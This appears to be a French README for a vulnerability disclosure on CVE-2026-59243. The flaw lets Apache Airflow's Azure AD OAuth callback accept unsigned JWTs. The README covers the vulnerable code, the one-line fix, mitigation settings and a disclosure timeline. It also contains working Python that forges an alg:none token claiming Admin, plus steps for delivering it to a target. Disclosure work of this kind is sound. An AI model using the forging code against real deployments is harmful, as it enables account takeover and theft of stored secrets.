
Preuve de concept pour CVE-2026-59243 démontrant le contournement de la signature JWT dans le rappel OAuth Azure AD du gestionnaire d'authentification FAB d'Apache Airflow en raison d'une configuration par défaut non sécurisée.
Version coréenne : README.ko.md
Avis officiel (Apache, publié le 2026-07-29) : https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2026-59243
Corrigé dans : apache-airflow-providers-fab==3.7.3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hproviders/fab Auth Manager (chemin Azure AD OAuth)Le correctif a atterri en amont le 2026-07-07 (commit 54259ae, PR #69374) et a été publié dans apache-airflow-providers-fab==3.7.3 le 2026-07-28. L'avis d'Apache est sorti le 2026-07-29 ; Apache a classé la sévérité comme modérée.
Le callback OAuth Azure AD du FAB Auth Manager décode le id_token avec verify_signature=False par défaut. Si vous pouvez présenter un JWT à ce callback (MITM, abus de redirection, peu importe), vous pouvez lui faire porter l'identité de votre choix, y compris Admin. Le chemin Authentik du même fichier est défini par défaut sur True, ce qui m'a d'abord mis la puce à l'oreille que le défaut Azure n'était pas intentionnel. En amont, la valeur a été basculée sur True avec un changement d'un seul caractère.
Suivi CNA Apache : https://cveprocess.apache.org/cve5/CVE-2026-59243 Avis sur la liste de diffusion Apache : https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
Fichier : providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
Les numéros de ligne ont un peu changé entre le rapport initial et le main actuel en raison de refactorisations sans rapport, mais c'est le même fichier.
Le code vulnérable est court :
# override.py:2331 at report time
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # <- default False, this is the bug
)
if verify_signature:
# ... proper JWK signature verification with authlib
return claims
# default path: no signature check at all
return jwt.decode(id_token, options={"verify_signature": False})
Deux choses ressortent. Premièrement, la valeur par défaut est False, donc quiconque utilise l'intégration Azure sans définir explicitement verify_signature: true dans client_kwargs ne bénéficie d'aucune vérification de signature. Deuxièmement, le chemin de repli remet simplement le jeton à jwt.decode avec la vérification de signature désactivée. Ce n'est pas un fail-open dû à une clé manquante ou à une récupération JWKS défaillante. C'est un passage direct intentionnel qui fait confiance à ce que l'appelant a fourni.
Pour comparaison, voici le chemin Authentik dans le même fichier :
# override.py:414 at report time — Authentik
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # default True
)
Même forme, défaut opposé. Difficile d'y voir autre chose qu'un oubli.
Supposons Airflow déployé avec le FAB Auth Manager et Azure AD OAuth, sans surcharge de verify_signature dans client_kwargs (la configuration par défaut).
Forgez un JWT avec alg: none, les claims de votre choix et une signature vide :
import base64, json
def b64u(x): return base64.urlsafe_b64encode(json.dumps(x).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # trailing dot: empty signature
Amenez ce jeton au callback (/login/azure/authorized ou là où l'intégration est montée). L'acheminement est la partie délicate en pratique : il faut une position MITM, un flux de redirection dont vous pouvez abuser, ou un bug auxiliaire qui permet d'injecter le jeton. Une fois arrivé là, FAB appelle _decode_and_validate_azure_jwt, tombe dans le chemin par défaut et renvoie les claims tels quels. À partir de là, vous êtes Admin, et Admin sur Airflow signifie Connections, Variables, la clé Fernet et l'exécution arbitraire de tâches en tant que worker.
J'ai évalué cette faille à 8.1 High avec AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. La complexité est élevée car l'acheminement du JWT n'est pas trivial dans tous les déploiements. L'impact est total lorsque l'attaque aboutit. Apache peut lui attribuer un score différent dans son avis ; c'est très bien ainsi.
Un seul caractère. Déjà dans main, déjà publié :
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Fusionné sous 54259ae dans la PR #69374 le 2026-07-07. Publié dans apache-airflow-providers-fab==3.7.3 le 2026-07-28.
Si quelqu'un a réellement besoin de fonctionner sans vérification de signature (JWKS auto-signé sur un réplica sur site, par exemple), il peut toujours l'activer explicitement en définissant verify_signature: false dans client_kwargs. C'est une bien meilleure approche que de choisir un défaut non sécurisé.
Pour ceux qui ne peuvent pas mettre à jour immédiatement, définissez-le explicitement dans webserver_config.py :
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
À noter également : callbacks OAuth en HTTPS uniquement avec une liste blanche stricte des redirect_uri, et rotation des Connections Airflow si vous pensez avoir été touché.
Le PoC Docker se trouve dans poc/ :
poc/server.py reproduit le chemin vulnérable jwt.decode(..., options={"verify_signature": False}) dans une petite application Flask.poc/exploit_airflow_jwt.py utilise pwntools pour forger le jeton, atteindre le callback, aboutir dans la vue admin et extraire des « secrets » factices.poc/Dockerfile et poc/docker-compose.yml démarrent la cible sur 127.0.0.1:5002 afin qu'elle ne puisse pas fuir vers le LAN.Une seule commande :
cd poc/
./run.sh
Le docker-compose.yml est lié à loopback. Si vous tenez absolument à l'exécuter sur une machine partagée, modifiez-le d'abord.
CVE-2026-59243/
├── README.md this file (EN)
├── README.ko.md Korean version
├── LICENSE MIT + defensive-use notice
├── check_advisory.sh cron-driven publication watcher
├── patch/fix.diff the one-character fix, anchored at report-time line 2332
└── poc/ Docker + pwntools reproduction
Signalé par MalHyuk. Joignable via https://github.com/MalHyuk.
Côté Apache : [email protected] pour le rapport initial ; le suivi de juillet a été assuré par un membre du PMC d'Airflow.
MIT, voir LICENSE. Le PoC est destiné à la démonstration et au travail défensif sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de test.
| Date | Événement |
|---|
| 2026-03-18 | Signalé à [email protected] |
| 2026-03 à 2026-07 | Silence du côté d'Apache. Un membre du PMC d'Airflow a ensuite mentionné que le rapport initial était passé inaperçu. |
| 2026-07-03 | Un membre du PMC d'Airflow l'a pris en charge |
| 2026-07-04 | CVE-2026-59243 attribué |
| 2026-07-04 | Informations de crédit envoyées (MalHyuk / https://github.com/MalHyuk) |
| 2026-07-07 | Correctif fusionné : commit 54259ae, PR #69374 |
| 2026-07-28 | Publié dans apache-airflow-providers-fab==3.7.3 |
| 2026-07-29 | Fiche CVE MITRE publiée, avis Apache posté sur [email protected] |
| 2026-07-29 | Ce dépôt est passé en public |
| en attente | Page de détails NVD (généralement quelques jours après MITRE) |
| en attente | Entrée GHSA sur github.com/apache/airflow/security/advisories |
| Fonction | Au moment du rapport (2026-03-18) | Dans le main corrigé (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (défaut False, vulnérable) | 2428–2438 (défaut True, corrigé) |
_get_authentik_token_info() (référence sûre) | 414–416 (défaut True) | 419–420 (défaut True) |